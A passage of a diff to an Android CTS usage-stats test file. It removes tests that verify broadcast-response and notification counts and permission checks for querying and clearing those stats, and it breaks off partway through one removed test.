     private static final String JOBSCHEDULER_RUN_SHELL_COMMAND = "cmd jobscheduler run";
 
-    private static final String TEST_APP_PKG = "android.app.usage.cts.test1";
+    static final String TEST_APP_PKG = "android.app.usage.cts.test1";
 
-    private static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
+    static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
     private static final String TEST_APP_CLASS_LOCUS
             = "android.app.usage.cts.test1.SomeActivityWithLocus";
-    private static final String TEST_APP_CLASS_SERVICE
+    static final String TEST_APP_CLASS_SERVICE
             = "android.app.usage.cts.test1.TestService";
-    private static final String TEST_APP_CLASS_BROADCAST_RECEIVER
+    static final String TEST_APP_CLASS_BROADCAST_RECEIVER
             = "android.app.usage.cts.test1.TestBroadcastReceiver";
     private static final String TEST_AUTHORITY = "android.app.usage.cts.test1.provider";
     private static final String TEST_APP_CONTENT_URI_STRING = "content://" + TEST_AUTHORITY;
@@ -177,16 +166,8 @@
             "notification_seen_duration";
     private static final String KEY_NOTIFICATION_SEEN_PROMOTED_BUCKET =
             "notification_seen_promoted_bucket";
-    private static final String KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS =
-            "broadcast_response_window_timeout_ms";
-    private static final String KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE =
-            "broadcast_response_fg_threshold_state";
 
     private static final int DEFAULT_TIMEOUT_MS = 10_000;
-    // For tests that are verifying a certain event doesn't occur, wait for some time
-    // to ensure the event doesn't really occur. Otherwise, we cannot be sure if the event didn't
-    // occur or the verification was done too early before the event occurred.
-    private static final int WAIT_TIME_FOR_NEGATIVE_TESTS_MS = 500;
 
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
     private static final long MINUTE = TimeUnit.MINUTES.toMillis(1);
@@ -199,9 +180,6 @@
 
     private static final long TIMEOUT_BINDER_SERVICE_SEC = 2;
 
-    private static final long TEST_RESPONSE_STATS_ID_1 = 11;
-    private static final long TEST_RESPONSE_STATS_ID_2 = 22;
-
     private static final String TEST_NOTIFICATION_CHANNEL_ID = "test-channel-id";
     private static final String TEST_NOTIFICATION_CHANNEL_NAME = "test-channel-name";
     private static final String TEST_NOTIFICATION_CHANNEL_DESC = "test-channel-description";
@@ -336,21 +314,6 @@
         mUiDevice.wait(Until.hasObject(By.clazz(pkgName, className)), TIMEOUT);
     }
 
-    private void launchTestActivityAndWaitToBeResumed(String pkgName, String className)
-            throws Exception {
-        // Make sure the screen is awake and unlocked. Otherwise, the app activity won't be resumed.
-        mUiDevice.wakeUp();
-        dismissKeyguard();
-
-        final Intent intent = createTestActivityIntent(pkgName, className);
-        final CountDownLatch latch = new CountDownLatch(1);
-        intent.putExtra(EXTRA_REMOTE_CALLBACK, new RemoteCallback(result -> latch.countDown()));
-        mContext.startActivity(intent);
-        if (!latch.await(DEFAULT_TIMEOUT_MS, TimeUnit.SECONDS)) {
-            fail("Timed out waiting for the test app activity to be resumed");
-        }
-    }
-
     private void launchSubActivities(Class<? extends Activity>[] activityClasses) {
         for (Class<? extends Activity> clazz : activityClasses) {
             launchSubActivity(clazz);
@@ -964,1446 +927,6 @@
         }
     }
 
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastOptions_noPermission() throws Exception {
-        final BroadcastOptions options = BroadcastOptions.makeBasic();
-        options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-        final Intent intent = new Intent().setComponent(new ComponentName(
-                TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-        sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-        final UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation();
-        uiAutomation.revokeRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
-        setAppOpsMode("ignore");
-        try {
-            assertThrows(SecurityException.class, () -> {
-                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-            });
-        } finally {
-            resetAppOpsMode();
-            uiAutomation.grantRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testQueryBroadcastResponseStats_noPermission() throws Exception {
-        mUsageStatsManager.queryBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
-
-        final UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation();
-        uiAutomation.revokeRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
-        setAppOpsMode("ignore");
-        try {
-            assertThrows(SecurityException.class, () -> {
-                mUsageStatsManager.queryBroadcastResponseStats(TEST_APP_PKG,
-                        TEST_RESPONSE_STATS_ID_1);
-            });
-        } finally {
-            resetAppOpsMode();
-            uiAutomation.grantRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testClearBroadcastResponseStats_noPermission() throws Exception {
-        mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
-
-        final UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation();
-        uiAutomation.revokeRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
-        setAppOpsMode("ignore");
-        try {
-            assertThrows(SecurityException.class, () -> {
-                mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG,
-                        TEST_RESPONSE_STATS_ID_1);
-            });
-        } finally {
-            resetAppOpsMode();
-            uiAutomation.grantRuntimePermission(mTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_broadcastDispatchedCount() throws Exception {
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-
-        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
-        try {
-            ITestReceiver testReceiver = connection.getITestReceiver();
-            testReceiver.cancelAll();
-
-            // Send a normal broadcast and verify none of the counts get incremented.
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            sendBroadcastAndWaitForReceipt(intent, null);
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Send a broadcast with a request to record response and verify broadcast-sent
-            // count gets incremented.
-            final BroadcastOptions options = BroadcastOptions.makeBasic();
-            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Trigger a notification from test app and verify notification-posted count gets
-            // incremented.
-            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    1 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            testReceiver.cancelAll();
-        } finally {
-            connection.unbind();
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_notificationPostedCount() throws Exception {
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-
-        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
-        try {
-            ITestReceiver testReceiver = connection.getITestReceiver();
-            testReceiver.cancelAll();
-
-            // Send a normal broadcast and verify none of the counts get incremented.
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            sendBroadcastAndWaitForReceipt(intent, null);
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Send a broadcast with a request to record response and verify broadcast-sent
-            // count gets incremented.
-            final BroadcastOptions options = BroadcastOptions.makeBasic();
-            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Trigger a notification from test app and verify notification-posted count gets
-            // incremented.
-            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    1 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            testReceiver.cancelAll();
-        } finally {
-            connection.unbind();
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_notificationUpdatedCount() throws Exception {
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-
-        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
-        try {
-            ITestReceiver testReceiver = connection.getITestReceiver();
-            testReceiver.cancelAll();
-
-            // Post a notification (before sending any broadcast) and verify none of the counts
-            // get incremented.
-            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Send a broadcast with a request to record response and verify broadcast-sent
-            // count gets incremented.
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final BroadcastOptions options = BroadcastOptions.makeBasic();
-            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Update a previously posted notification (change content text) and verify
-            // notification-updated count gets incremented.
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_2));
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    1 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            testReceiver.cancelAll();
-        } finally {
-            connection.unbind();
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_notificationCancelledCount() throws Exception {
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-
-        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
-        try {
-            ITestReceiver testReceiver = connection.getITestReceiver();
-            testReceiver.cancelAll();
-
-            // Post a notification (before sending any broadcast) and verify none of the counts
-            // get incremented.
-            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Send a broadcast with a request to record response and verify broadcast-sent
-            // count gets incremented.
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            sendBroadcastAndWaitForReceipt(intent, null);
-            final BroadcastOptions options = BroadcastOptions.makeBasic();
-            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Cancel a previously posted notification (change content text) and verify
-            // notification-cancelled count gets incremented.
-            testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    1 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            testReceiver.cancelAll();
-        } finally {
-            connection.unbind();
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_multipleEvents() throws Exception {
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-
-        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
-        try {
-            ITestReceiver testReceiver = connection.getITestReceiver();
-            testReceiver.cancelAll();
-
-            // Send a normal broadcast and verify none of the counts get incremented.
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            sendBroadcastAndWaitForReceipt(intent, null);
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Send a broadcast with a request to record response and verify broadcast-sent
-            // count gets incremented.
-            final BroadcastOptions options = BroadcastOptions.makeBasic();
-            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Trigger a notification from test app and verify notification-posted count gets
-            // incremented.
-            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    1 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Send another broadcast and trigger another notification.
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_2,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_2,
-                            TEST_NOTIFICATION_TEXT_2));
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    2 /* broadcastCount */,
-                    2 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Send another broadcast with a different ID and update a previously posted
-            // notification.
-            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_2));
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    2 /* broadcastCount */,
-                    2 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    1 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Update/cancel a previously posted notifications and verify there is
-            // no change in counts.
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-            testReceiver.cancelNotification(TEST_NOTIFICATION_ID_2);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    2 /* broadcastCount */,
-                    2 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    1 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    1 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            testReceiver.cancelAll();
-        } finally {
-            connection.unbind();
-        }
-    }
-
-    @AppModeFull(reason = "No broadcast message response stats in instant apps")
-    @Test
-    public void testBroadcastResponseStats_clearCounts() throws Exception {
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                0 /* broadcastCount */,
-                0 /* notificationPostedCount */,
-                0 /* notificationUpdatedCount */,
-                0 /* notificationCancelledCount */);
-
-        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
-        try {
-            ITestReceiver testReceiver = connection.getITestReceiver();
-            testReceiver.cancelAll();
-
-            // Send a broadcast with a request to record response and verify broadcast-sent
-            // count gets incremented.
-            final Intent intent = new Intent().setComponent(new ComponentName(
-                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
-            final BroadcastOptions options = BroadcastOptions.makeBasic();
-            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
-            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
-                    0 /* broadcastCount */,
-                    0 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
-
-            // Trigger a notification from test app and verify notification-posted count gets
-            // incremented.
-            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
-                    TEST_NOTIFICATION_CHANNEL_NAME,
-                    TEST_NOTIFICATION_CHANNEL_DESC);
-            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
-                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
-                            TEST_NOTIFICATION_TEXT_1));
-
-            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
-                    1 /* broadcastCount */,
-                    1 /* notificationPostedCount */,
-                    0 /* notificationUpdatedCount */,
-                    0 /* notificationCancelledCount */);
